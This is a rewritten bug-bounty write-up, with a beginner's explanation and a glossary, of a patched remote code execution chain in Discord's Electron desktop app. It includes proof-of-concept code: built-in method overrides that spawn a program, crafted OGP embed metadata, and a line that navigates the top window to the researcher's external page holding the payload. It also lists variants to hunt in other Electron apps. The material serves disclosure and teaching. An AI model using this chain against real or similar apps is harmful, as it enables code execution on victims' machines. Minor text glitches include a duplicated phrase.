Why I chose Discord for the target
The Discord desktop app had contextIsolation disabled, allowing a DOM-based XSS in an embedded Sketchfab iframe to interfere with preload scripts and execute arbitrary code. Combined with an Electron bug that failed to block top-level navigation from cross-origin iframes, an attacker could achieve remote code execution on the victim's machine.
A few months ago, I discovered a remote code execution issue in the Discord desktop application and I reported it via their Bug Bounty Program.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
A few months before writing this up, I found a remote code execution issue in the Discord desktop application and reported it through Discord's Bug Bounty Program. What makes it worth documenting is that no single bug was enough: the RCE only exists because three separate issues can be chained together.
Context
Discord's desktop client is an Electron application. Electron apps are built from a Chromium renderer plus a Node.js runtime, and the security of the whole thing depends heavily on how the BrowserWindow is configured. The renderer displays web content (in Discord's case, chat messages, embeds and so on), while privileged JavaScript outside the web page, Electron's internal renderer code and the app's preload scripts, has access to Node.js features.
The feature that mattered here is iframe embeds. When a user posts a URL, Discord fetches the page's OGP (Open Graph Protocol) metadata and, if present, shows the title, description, thumbnail and associated video in the chat. If the OGP video URL points at an allowed domain and matches the expected embed URL format, Discord puts that URL into an iframe inside the chat. This is how a posted YouTube link turns into an inline video player.
Setup
The Discord app is not open source, but its Electron JavaScript is shipped locally in asar format, so extracting the archive is enough to read the application code. The researcher's approach was to read the BrowserWindow options first, then the preload scripts, then the main-process navigation handlers. No special accounts or roles are described; the work was done against the desktop client and a personal web host used to serve crafted OGP pages.
Finding it
Missing contextIsolation
The first thing to check in any Electron target is the BrowserWindow options, because they determine what arbitrary JavaScript execution in the renderer can reach. In Discord's main window the options were:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
The two options that matter are nodeIntegration and contextIsolation. nodeIntegration was false, so a web page's JavaScript could not simply call require(). If it had been true, the path to code execution would be trivial:
<script>
require('child_process').exec('calc');
</script>
contextIsolation was also false, which is the default of the Electron version in use. That is the dangerous one. With context isolation disabled, JavaScript running in a web page shares its context with Electron's internal renderer JavaScript and with the preload scripts, so the page can tamper with the built-in objects those privileged scripts rely on. Overriding Array.prototype.join, for example, means that when privileged code calls join, it calls the attacker's function instead.
This matters because Electron lets the JavaScript outside web pages use Node.js features regardless of the nodeIntegration setting. Interfering with that code from an overridden built-in method can therefore lead to RCE even with nodeIntegration: false. The technique was first discovered in a 2016 pentest by Cure53 (which the researcher took part in) and reported to the Electron team, after which contextIsolation was introduced. Context isolation separates the web page's context from the privileged JavaScript so that neither can affect the other; it is a necessary feature for eliminating RCE risk, and here it was disabled.
The usual first attempt is to abuse Electron's internal renderer JavaScript, because that code exists in every Electron app and a PoC can be reused. The researcher had previously shown that RCE can be achieved through the code Electron executes at navigation timing. That did not work against this version and configuration, so the target became the preload scripts.
Reading the preload scripts revealed that Discord exposes a function to the web page, DiscordNative.nativeModules.requireModule('MODULE-NAME'), which allows a set of allowed modules to be called. Modules that lead directly to RCE, such as child_process, were not reachable. However, one exposed module could be steered into executing an arbitrary program by overriding JavaScript built-in methods.
Exploitation: from built-in override to a spawned process
The PoC overrides RegExp.prototype.test and Array.prototype.join, then calls getGPUDriverVersions from the discord_utils module:
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Run from devTools, this popped up the calc application. The function being abused looks like this:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Normally execa runs nvidia-smi.exe from the path in nvidiaSmiPath. Because RegExp.prototype.test and Array.prototype.join are overridden, the argument is replaced with calc inside execa's internal processing. The two places where the substitution happens are in the node-cross-spawn library's parse.js, at line 36 and line 55 of the linked revision. The remaining problem was therefore not code execution itself but getting arbitrary JavaScript to run in the application in the first place.
XSS in iframe embeds
Autolinking and Markdown looked solid, so the researcher turned to iframe embeds. There is no public documentation of which services can be embedded, so the CSP's frame-src directive served as a hint. At the time it read:
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
Some entries obviously exist to allow embeds (YouTube, Twitch, Spotify). The next step was to point the OGP video URL at each domain in turn and see which ones Discord would actually embed, then look for XSS on the embedded pages. Sketchfab, a platform where users publish, buy and sell 3D models, accepted the embed, and its embed page had a simple DOM-based XSS in the footnote of the 3D model.
The PoC is a page with crafted OGP metadata:
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
[...]
<meta property="og:video:url" content="https://sketchfab.com/models/[redacted]/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
Posting that URL in the chat caused Sketchfab to be embedded in an iframe, and after a few clicks inside the iframe, arbitrary JavaScript executed. The XSS alone is not enough, though: the JavaScript runs inside the iframe, and Electron does not load the privileged JavaScript outside web pages into iframes. Overriding built-in methods there cannot reach the Node.js parts. To get RCE, the script has to escape the iframe and run in a top-level browsing context, either by opening a new window from the iframe or by navigating the top window.
Navigation restriction bypass (CVE-2020-15174)
The main process contained handlers intended to stop exactly that:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
On paper this blocks new windows and top-level navigation away from the app. In practice, a top navigation started from the iframe was not blocked. The expectation was that will-navigate would fire before the navigation and that preventDefault() would refuse it, but the event never arrived.
To confirm the behaviour, the researcher built a small Electron app. The result: will-navigate is not emitted for a top navigation started from an iframe when the top and the iframe are cross-origin. When both are same-origin, the event is emitted. There seemed to be no legitimate reason for that, so it was treated as an Electron bug and reported to the Electron team separately.
With that bug, the navigation restriction could be bypassed. The last step is a navigation from the iframe's XSS to a page containing the RCE code:
top.location="//l0.cm/discord_calc.html"
Combining the three bugs produced RCE, shown in the video below.
Root cause
Three independent weaknesses line up:
contextIsolationwas disabled in the main window. The renderer's web content shared a context with the preload scripts, so overriding built-ins such asRegExp.prototype.testandArray.prototype.joinchanged how privileged code behaved.nodeIntegration: falsedid not help, because the privileged code itself has Node.js access.- An allowed embed provider, Sketchfab, had a DOM-based XSS on its embed page, and Discord embedded that page in an iframe without isolating it from the rest of the app.
- Electron did not emit
will-navigatefor a cross-origin top navigation initiated from an iframe, so the main process handler that was supposed to block such navigations never ran.
The existing defences each covered only part of the chain: nodeIntegration: false blocked the direct require() route, the new-window and will-navigate handlers were meant to keep the iframe from reaching a top-level context, and the CSP frame-src list limited which domains could be embedded at all. None of them stopped the combination.
Impact
Posting a crafted URL in the Discord desktop client and clicking a few times inside the embed led to arbitrary code execution on the machine, in the demonstrated case on Windows. in the demonstrated case on Windows, where the abused getGPUDriverVersions path runs. The chain requires the Sketchfab XSS to still be present, the embed to be allowed, and the Electron navigation bug to be unpatched. The reward for the Discord report was $5,000.
Fix
Discord disabled the Sketchfab embeds first, and applied a workaround to prevent navigation from the iframe by adding the sandbox attribute to the iframe. Later, contextIsolation was enabled, so even with arbitrary JavaScript execution in the app, RCE via overridden built-in methods no longer occurs.
The Sketchfab XSS was reported through Sketchfab's bug bounty program and fixed quickly by its developers, with a $300 reward. The will-navigate issue was reported to Electron's security team and fixed as CVE-2020-15174, "Unpreventable top-level navigation" (GHSA-2q4g-w47c-4674).
Variants to test
- Other Electron apps with
contextIsolation: false. Extract the asar, read theBrowserWindowoptions, then look through the preload scripts for exposed functions that pass attacker-influenced strings intochild_process,execaor similar. A positive result is a built-in override that changes the spawned program, as withgetGPUDriverVersions. - Other embed providers in the CSP
frame-srclist. For each allowed domain, craft OGP metadata pointingog:video:urlat its embed page and check whether Discord renders it in an iframe. A positive result is an embed that loads, followed by any DOM XSS on that embed page. will-navigatehandling in any Electron app. Build a minimal app with awill-navigatehandler that callspreventDefault(), load a cross-origin iframe, and navigate the top window from it. If the navigation succeeds, the handler is not being invoked for that case.new-windowhandling. From a cross-origin iframe, attemptwindow.opento an external URL and observe whether the main-process handler intercepts it as expected.- Iframe sandboxing. Check whether embedded iframes carry the
sandboxattribute; if they do not, a navigation from the iframe to a top-level context may be possible even without an Electron bug.
What happened, in plain words
A security researcher found a way to make the Discord desktop application run any program on a user's computer. This kind of bug is called remote code execution, or RCE: an attacker, from far away, gets code of their choosing to run on someone else's machine.
The interesting part is that no single bug was enough. Three separate problems had to be lined up, one after another, like three locks that each open the next:
- A setting in Discord's desktop app was switched off that should have been on. This let a web page inside the app meddle with the app's own internal code.
- A website that Discord allowed to be shown inside the chat (Sketchfab, a site for 3D models) had a cross-site scripting bug, or XSS. XSS means a page runs JavaScript that the page's owner did not intend, usually because it takes something a visitor supplied and treats it as code.
- A bug in Electron, the framework Discord's desktop app is built on, meant that a certain safety check never ran, so a script trapped inside a small embedded frame could take over the whole window.
Put together, these let a crafted link, once posted in a chat and clicked a few times, run a program such as the Windows calculator on the machine. The researcher reported it through Discord's bug bounty programme and was paid $5,000.
Before going further, a few words that come up constantly:
- Electron is a toolkit for building desktop apps out of web technology. An Electron app is essentially a small web browser (Chromium) bundled with a runtime called Node.js, which lets JavaScript do things a normal web page cannot, such as start other programs or read files. Think of it as a browser with a toolbox bolted on.
- Renderer is the part of an Electron app that draws the web page, the equivalent of the browser tab. The main process is the part that manages windows and has full access to the operating system.
- Preload script is a small piece of JavaScript that the app runs inside the renderer before the web page loads, to hand the page a few carefully chosen abilities. It is the bridge between the untrusted page and the powerful app.
- Bug bounty programme is a scheme where a company pays researchers for reporting security bugs privately instead of exploiting them.
Context
Discord's desktop client is an Electron application. Electron apps are built from a Chromium renderer plus a Node.js runtime, and the security of the whole thing depends heavily on how the BrowserWindow is configured. The renderer displays web content (in Discord's case, chat messages, embeds and so on), while privileged JavaScript outside the web page, Electron's internal renderer code and the app's preload scripts, has access to Node.js features.
In plain terms: the window you see is a web page, and behind it sits code with real power over your computer. The whole game is about keeping the web page from reaching that powerful code. BrowserWindow is the Electron object that creates a window, and its options decide how much the page inside is allowed to do.
The feature that mattered here is iframe embeds. When a user posts a URL, Discord fetches the page's OGP (Open Graph Protocol) metadata and, if present, shows the title, description, thumbnail and associated video in the chat. If the OGP video URL points at an allowed domain and matches the expected embed URL format, Discord puts that URL into an iframe inside the chat. This is how a posted YouTube link turns into an inline video player.
Two terms there. OGP is a small set of hidden tags a web page can carry, saying "here is my title, here is my picture, here is my video". Chat apps read them to build a preview card. An iframe is a window inside a window: a rectangle in the page that loads another web page. It is how a YouTube player appears inside a chat message without leaving Discord.
Setup
The Discord app is not open source, but its Electron JavaScript is shipped locally in asar format, so extracting the archive is enough to read the application code. The researcher's approach was to read the BrowserWindow options first, then the preload scripts, then the main-process navigation handlers. No special accounts or roles are described; the work was done against the desktop client and a personal web host used to serve crafted OGP pages.
Asar is simply a way of packing many files into one archive, like a zip file that ships with the app. "Not open source" means the company does not publish the code, but the code still has to be on your disk for the app to run, so anyone who installs the app can unpack it and read it. That is why the researcher could study it without any special access. The order of reading matters: first the window settings (what the page is allowed to do), then the preload scripts (what the app hands to the page), then the navigation handlers (what happens when the page tries to go somewhere).
Finding it
Missing contextIsolation
The first thing to check in any Electron target is the BrowserWindow options, because they determine what arbitrary JavaScript execution in the renderer can reach. In Discord's main window the options were:
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
Line by line, in plain words:
const mainWindowOptions = {starts a list of settings for the main window, stored in a variable so it can be passed to Electron later.title,backgroundColor,width,height,minWidth,minHeight,transparent,frame,resizable,showare cosmetic and behavioural settings: the window's name, its background colour, its size and minimum size, whether it is see-through, whether it has the operating system's title bar, whether the user can resize it, and whether it appears immediately. None of these affect security.webPreferences: {opens the group of settings that govern the web page inside the window. This is the part that matters.blinkFeatures: 'EnumerateDevices,AudioOutputDevices'switches on two optional browser features related to audio devices. Not security relevant here.nodeIntegration: falsesays the web page may not use Node.js directly. This is a good setting, and it is the first line of defence.preload: _path2.default.join(__dirname, 'mainScreenPreload.js')tells Electron to run a file calledmainScreenPreload.jsinside the page before the page's own scripts. This is the bridge mentioned earlier.nativeWindowOpen: true,enableRemoteModule: false,spellcheck: truecontrol how new windows are opened, whether an older Electron feature called the remote module is available (it is off), and whether spell checking is on.
The two options that matter are nodeIntegration and contextIsolation. nodeIntegration was false, so a web page's JavaScript could not simply call require(). If it had been true, the path to code execution would be trivial:
<script>
require('child_process').exec('calc');
</script>
This is two lines of HTML. The <script> tag tells the browser to run the JavaScript inside it. require('child_process') loads a Node.js built-in module whose job is to start other programs, and .exec('calc') runs the Windows calculator. If a web page could do that, any page could run any program, which is why nodeIntegration: false exists. Here it was correctly off, so this easy route was closed.
contextIsolation was also false, which is the default of the Electron version in use. That is the dangerous one. With context isolation disabled, JavaScript running in a web page shares its context with Electron's internal renderer JavaScript and with the preload scripts, so the page can tamper with the built-in objects those privileged scripts rely on. Overriding Array.prototype.join, for example, means that when privileged code calls join, it calls the attacker's function instead.
To unpack that: JavaScript comes with built-in tools, such as Array.prototype.join, which glues the items of a list into a single string. Every piece of JavaScript in the same context uses the same copy of that tool. If the page replaces the tool with its own version, then every other script in that context, including the trusted preload script, unknowingly uses the replacement. It is like swapping the salt shaker in a restaurant kitchen: every dish the kitchen sends out now gets salt from your shaker. Context isolation is the feature that gives the page and the privileged scripts separate kitchens, so a swap in one cannot affect the other.
This matters because Electron lets the JavaScript outside web pages use Node.js features regardless of the nodeIntegration setting. Interfering with that code from an overridden built-in method can therefore lead to RCE even with nodeIntegration: false. The technique was first discovered in a 2016 pentest by Cure53 (which the researcher took part in) and reported to the Electron team, after which contextIsolation was introduced. Context isolation separates the web page's context from the privileged JavaScript so that neither can affect the other; it is a necessary feature for eliminating RCE risk, and here it was disabled.
A pentest, short for penetration test, is an authorised attempt to break into software, done by a hired team so the owner can fix what is found before criminals use it.
The usual first attempt is to abuse Electron's internal renderer JavaScript, because that code exists in every Electron app and a PoC can be reused. The researcher had previously shown that RCE can be achieved through the code Electron executes at navigation timing. That did not work against this version and configuration, so the target became the preload scripts.
A PoC, or proof of concept, is a small demonstration that a bug is real, usually the shortest possible code that triggers it. Navigation timing means the moment a page is moving from one address to another; Electron runs some of its own code at that moment, and that code was a known place to interfere with. It did not work here, so the researcher moved to the preload scripts, the app's own bridge code.
Reading the preload scripts revealed that Discord exposes a function to the web page, DiscordNative.nativeModules.requireModule('MODULE-NAME'), which allows a set of allowed modules to be called. Modules that lead directly to RCE, such as child_process, were not reachable. However, one exposed module could be steered into executing an arbitrary program by overriding JavaScript built-in methods.
An API is a defined way for one piece of software to ask another to do something, like a service counter with a fixed list of requests it will accept. Here the counter is DiscordNative.nativeModules.requireModule, and the list of accepted requests is a set of allowed modules. child_process, the module that starts programs, was not on the list. But one module on the list could still be pushed into starting a program, as the next section shows.
Exploitation: from built-in override to a spawned process
The PoC overrides RegExp.prototype.test and Array.prototype.join, then calls getGPUDriverVersions from the discord_utils module:
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Line by line:
RegExp.prototype.test=function(){replaces the built-in function that checks whether a piece of text matches a pattern.RegExpis JavaScript's pattern-matching tool, andtestis the method that answers yes or no.return false;makes the replacement always answer "no match", whatever it is asked.Array.prototype.join=function(){replaces the built-in function that glues list items into a string.return "calc";makes the replacement always return the wordcalc, whatever list it is given.DiscordNative.nativeModules.requireModule('discord_utils')asks the app for the module nameddiscord_utils, through the exposed API..getGPUDriverVersions();calls one function from that module. The name suggests it looks up graphics driver versions, which sounds harmless.
Run from devTools, this popped up the calc application. DevTools are the developer tools built into Chromium browsers, opened with a keyboard shortcut, where you can type JavaScript and run it in the current page. They are a convenient way to test a payload by hand before hiding it in a real attack.
The function being abused looks like this:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Line by line:
module.exports.getGPUDriverVersions = async () => {defines a function and makes it available to other code.asyncmeans it can wait for slow work, such as starting a program, without freezing everything else.if (process.platform !== 'win32') { return {}; }checks the operating system. If it is not Windows, the function returns an empty result and does nothing else. So this path only runs on Windows.const result = {};creates an empty object to hold the answer.const nvidiaSmiPath = ...builds the path of a program to run.process.env['ProgramW6432']is an environment variable, a named value the operating system keeps for programs; on Windows it points at the Program Files folder. The rest of the path points at NVIDIA'snvidia-smi.exe, a tool that reports on graphics cards.try {starts a block where errors are caught rather than crashing the app.result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));is the key line.execais a library for starting programs. It is given the path and an empty list of arguments.awaitwaits for it to finish.parseNvidiaSmiOutputthen turns the program's text output into data.} catch (e) { result.nvidia = {error: e.toString()}; }catches any error and stores its text instead.return result;hands the result back.
Normally execa runs nvidia-smi.exe from the path in nvidiaSmiPath. Because RegExp.prototype.test and Array.prototype.join are overridden, the argument is replaced with calc inside execa's internal processing. The two places where the substitution happens are in the node-cross-spawn library's parse.js, at line 36 and line 55 of the linked revision. The remaining problem was therefore not code execution itself but getting arbitrary JavaScript to run in the application in the first place.
Why does the swap work? execa does not hand the path straight to the operating system. Internally, through a helper library called node-cross-spawn, it inspects the command: it uses pattern matching (which relies on RegExp.prototype.test) to decide how to handle it, and it builds strings out of lists (which relies on Array.prototype.join). Because both tools were replaced, the inspection answers wrongly and the string assembly produces calc. The program that actually starts is therefore the calculator, not the NVIDIA tool. The lesson is that a trusted function can be made to run something else entirely without ever being edited, just by changing the tools it uses.
XSS in iframe embeds
Autolinking and Markdown looked solid, so the researcher turned to iframe embeds. Markdown is the simple formatting language used in chat (asterisks for bold, and so on), and autolinking is the feature that turns a bare URL into a clickable link. Both are common sources of XSS, so they were checked first and found to be fine.
There is no public documentation of which services can be embedded, so the CSP's frame-src directive served as a hint. At the time it read:
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
A CSP, or Content Security Policy, is a rule list a website sends to the browser saying which sources of content are allowed. frame-src is the part of that list that says which addresses may be loaded inside an iframe. It is like a guest list at a door: only the names on it get in. Reading the guest list therefore tells you which sites Discord is willing to embed, even when no documentation says so.
Some entries obviously exist to allow embeds (YouTube, Twitch, Spotify). The next step was to point the OGP video URL at each domain in turn and see which ones Discord would actually embed, then look for XSS on the embedded pages. Sketchfab, a platform where users publish, buy and sell 3D models, accepted the embed, and its embed page had a simple DOM-based XSS in the footnote of the 3D model.
DOM-based XSS means the bug lives entirely in the page's own JavaScript: the script reads something from the address or the page and writes it into the page without cleaning it, so text that looks like code gets treated as code. The footnote of a 3D model is a small caption area, and that is where the flaw was.
The PoC is a page with crafted OGP metadata:
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
[...]
<meta property="og:video:url" content="https://sketchfab.com/models/[redacted]/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
Line by line:
<head>opens the part of an HTML page that holds information about the page rather than visible content.<meta charset="utf-8">declares the text encoding, so characters display correctly.<meta property="og:title" content="RCE DEMO">sets the OGP title that Discord will show in the preview card.[...]stands for other tags the report does not show.<meta property="og:video:url" content="https://sketchfab.com/models/[redacted]/embed">is the important one: it tells Discord "my video is at this Sketchfab embed page". Because Sketchfab is on the guest list, Discord will put that address into an iframe.<meta property="og:video:type" content="text/html">says the video is really an HTML page, which is what an embed is.<meta property="og:video:width" content="1280">and<meta property="og:video:height" content="720">give the size of the player.
Posting that URL in the chat caused Sketchfab to be embedded in an iframe, and after a few clicks inside the iframe, arbitrary JavaScript executed. The XSS alone is not enough, though: the JavaScript runs inside the iframe, and Electron does not load the privileged JavaScript outside web pages into iframes. Overriding built-in methods there cannot reach the Node.js parts. To get RCE, the script has to escape the iframe and run in a top-level browsing context, either by opening a new window from the iframe or by navigating the top window.
A top-level browsing context is the main window itself, as opposed to a frame inside it. The distinction matters because the privileged code only runs in the main window. A script stuck in an iframe is like a guest locked in a side room: they can rearrange that room, but the building's master keys are in the main hall.
Navigation restriction bypass (CVE-2020-15174)
The main process contained handlers intended to stop exactly that:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
Line by line:
mainWindow.webContents.on('new-window', ...)registers a listener for the moment the page tries to open a new window. A listener is a function that the app asks to be called whenever a named event happens, like a doorbell wired to a specific bell.e.preventDefault();cancels the default behaviour, so the new window does not open on its own.if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT))checks whether the request looks like Discord's own pop-out window: the name must start with Discord's namespace and the address must start with Discord's own web address.popoutWindows.openOrFocusWindow(...)handles that legitimate case by opening or focusing the proper pop-out window.} else { _electron.shell.openExternal(windowURL); }sends anything else to the user's normal browser instead of opening it inside the app. This is a common safety pattern: unknown links leave the app.[...]stands for code the report does not show.mainWindow.webContents.on('will-navigate', ...)registers a listener for the moment the page is about to navigate, that is, change address.if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT))checks that the app is not in the middle of a login flow and that the destination is not Discord's own address.evt.preventDefault();cancels the navigation, so the window stays where it is.
On paper this blocks new windows and top-level navigation away from the app. In practice, a top navigation started from the iframe was not blocked. The expectation was that will-navigate would fire before the navigation and that preventDefault() would refuse it, but the event never arrived.
To confirm the behaviour, the researcher built a small Electron app. The result: will-navigate is not emitted for a top navigation started from an iframe when the top and the iframe are cross-origin. When both are same-origin, the event is emitted. There seemed to be no legitimate reason for that, so it was treated as an Electron bug and reported to the Electron team separately.
Same-origin means two pages share the same scheme, host and port, for example both on https://example.com; cross-origin means they differ in any of those. Browsers treat origins as trust boundaries, like two different companies: a page from one company should not be able to act as if it belonged to the other. The bug was that the safety check only rang the bell for same-origin navigations, and stayed silent for cross-origin ones, which is exactly the case an attacker would use.
With that bug, the navigation restriction could be bypassed. The last step is a navigation from the iframe's XSS to a page containing the RCE code:
top.location="//l0.cm/discord_calc.html"
This one line sets top.location, which means "the address of the main window, the one at the very top". The value //l0.cm/discord_calc.html is a page the researcher controls, which contains the code that overrides the built-in methods and calls getGPUDriverVersions. Because the will-navigate check never fired, the main window followed the instruction, loaded the attacker's page, and that page's JavaScript ran in the top-level context where the privileged code lives. The chain was complete.
Combining the three bugs produced RCE, shown in the video below.
Root cause
Three independent weaknesses line up:
contextIsolationwas disabled in the main window. The renderer's web content shared a context with the preload scripts, so overriding built-ins such asRegExp.prototype.testandArray.prototype.joinchanged how privileged code behaved.nodeIntegration: falsedid not help, because the privileged code itself has Node.js access.- An allowed embed provider, Sketchfab, had a DOM-based XSS on its embed page, and Discord embedded that page in an iframe without isolating it from the rest of the app.
- Electron did not emit
will-navigatefor a cross-origin top navigation initiated from an iframe, so the main process handler that was supposed to block such navigations never ran.
The existing defences each covered only part of the chain: nodeIntegration: false blocked the direct require() route, the new-window and will-navigate handlers were meant to keep the iframe from reaching a top-level context, and the CSP frame-src list limited which domains could be embedded at all. None of them stopped the combination.
Think of it as a building with three separate guards. One stops people walking in through the front door, one stops them climbing to the roof, and one decides which visitors are allowed in at all. Each guard is sensible on its own, but none of them talks to the others, so a visitor who is let in, finds an unlocked side door and a silent alarm can still reach the roof.
Impact
Posting a crafted URL in the Discord desktop client and clicking a few times inside the embed led to arbitrary code execution on the machine, in the demonstrated case on Windows. in the demonstrated case on Windows, where the abused getGPUDriverVersions path runs. The chain requires the Sketchfab XSS to still be present, the embed to be allowed, and the Electron navigation bug to be unpatched. The reward for the Discord report was $5,000.
In everyday terms: a link in a chat, a few clicks, and a program of the attacker's choosing runs on the machine. That is about as serious as a desktop app bug gets, because the attacker is no longer limited to what a web page can do.
Fix
Discord disabled the Sketchfab embeds first, and applied a workaround to prevent navigation from the iframe by adding the sandbox attribute to the iframe. Later, contextIsolation was enabled, so even with arbitrary JavaScript execution in the app, RCE via overridden built-in methods no longer occurs.
The sandbox attribute on an iframe tells the browser to treat the content inside as untrusted: it cannot run scripts with the page's privileges, cannot open windows, and cannot navigate the top window. It is like putting a visitor in a glass room where they can be seen but cannot touch anything outside.
The Sketchfab XSS was reported through Sketchfab's bug bounty program and fixed quickly by its developers, with a $300 reward. The will-navigate issue was reported to Electron's security team and fixed as CVE-2020-15174, "Unpreventable top-level navigation" (GHSA-2q4g-w47c-4674).
A CVE is a public catalogue number given to a known vulnerability so everyone can refer to the same bug unambiguously. GHSA is a similar identifier used by GitHub's advisory database.
Variants to test
These are the same ideas applied elsewhere, written for someone learning to look:
- Other Electron apps with
contextIsolation: false. Extract the asar, read theBrowserWindowoptions, then look through the preload scripts for exposed functions that pass attacker-influenced strings intochild_process,execaor similar. A positive result is a built-in override that changes the spawned program, as withgetGPUDriverVersions. - Other embed providers in the CSP
frame-srclist. For each allowed domain, craft OGP metadata pointingog:video:urlat its embed page and check whether Discord renders it in an iframe. A positive result is an embed that loads, followed by any DOM XSS on that embed page. will-navigatehandling in any Electron app. Build a minimal app with awill-navigatehandler that callspreventDefault(), load a cross-origin iframe, and navigate the top window from it. If the navigation succeeds, the handler is not being invoked for that case.new-windowhandling. From a cross-origin iframe, attemptwindow.opento an external URL and observe whether the main-process handler intercepts it as expected.- Iframe sandboxing. Check whether embedded iframes carry the
sandboxattribute; if they do not, a navigation from the iframe to a top-level context may be possible even without an Electron bug.
Glossary
- API: a defined way for one piece of software to ask another to do something, with a fixed list of accepted requests.
- Asar: an archive format used to pack an Electron app's files into one bundle; it can be unpacked and read.
- Autolinking: automatically turning a bare URL in text into a clickable link.
- BrowserWindow: the Electron object that creates an application window and holds the settings that decide what the page inside may do.
- Bug bounty programme: a scheme where a company pays researchers for reporting security bugs privately.
- Context isolation: an Electron feature that gives the web page and the privileged scripts separate JavaScript contexts so neither can tamper with the other's built-in tools.
- CSP (Content Security Policy): a rule list a site sends to the browser saying which sources of content are allowed;
frame-srcis the part that governs iframes. - Cross-origin: two pages that differ in scheme, host or port, and are therefore treated as different trust domains.
- CVE: a public catalogue number for a known vulnerability.
- DevTools: the developer tools built into Chromium browsers, where JavaScript can be typed and run in the current page.
- DOM-based XSS: an XSS bug that lives entirely in a page's own JavaScript, which writes uncleaned input into the page.
- Electron: a toolkit for building desktop apps from Chromium and Node.js.
- Environment variable: a named value the operating system keeps for programs, such as the location of Program Files.
- execa: a Node.js library for starting other programs.
- GHSA: an identifier used by GitHub's security advisory database.
- Iframe: a window inside a window that loads another web page.
- Listener: a function registered to be called whenever a named event happens.
- Main process: the part of an Electron app that manages windows and has full operating system access.
- Markdown: a simple formatting language used in chat for bold, italics and similar.
- Module: a self-contained bundle of code that can be loaded and used by name.
- node-cross-spawn: a helper library used by
execato start programs consistently across operating systems. - Node.js: a runtime that lets JavaScript do things a web page cannot, such as start programs and read files.
- nodeIntegration: an Electron setting that, when true, lets the web page use Node.js directly.
- OGP (Open Graph Protocol): hidden tags on a web page describing its title, image and video, used to build link previews.
- Origin: the combination of scheme, host and port that browsers use as a trust boundary.
- Pentest: an authorised attempt to break into software, done by a hired team so the owner can fix what is found.
- PoC (proof of concept): the shortest demonstration that a bug is real.
- Preload script: JavaScript an Electron app runs inside the renderer before the page loads, to hand the page chosen abilities.
- RCE (remote code execution): a bug that lets an attacker run code of their choosing on someone else's machine.
- Renderer: the part of an Electron app that draws the web page.
- Same-origin: two pages sharing the same scheme, host and port.
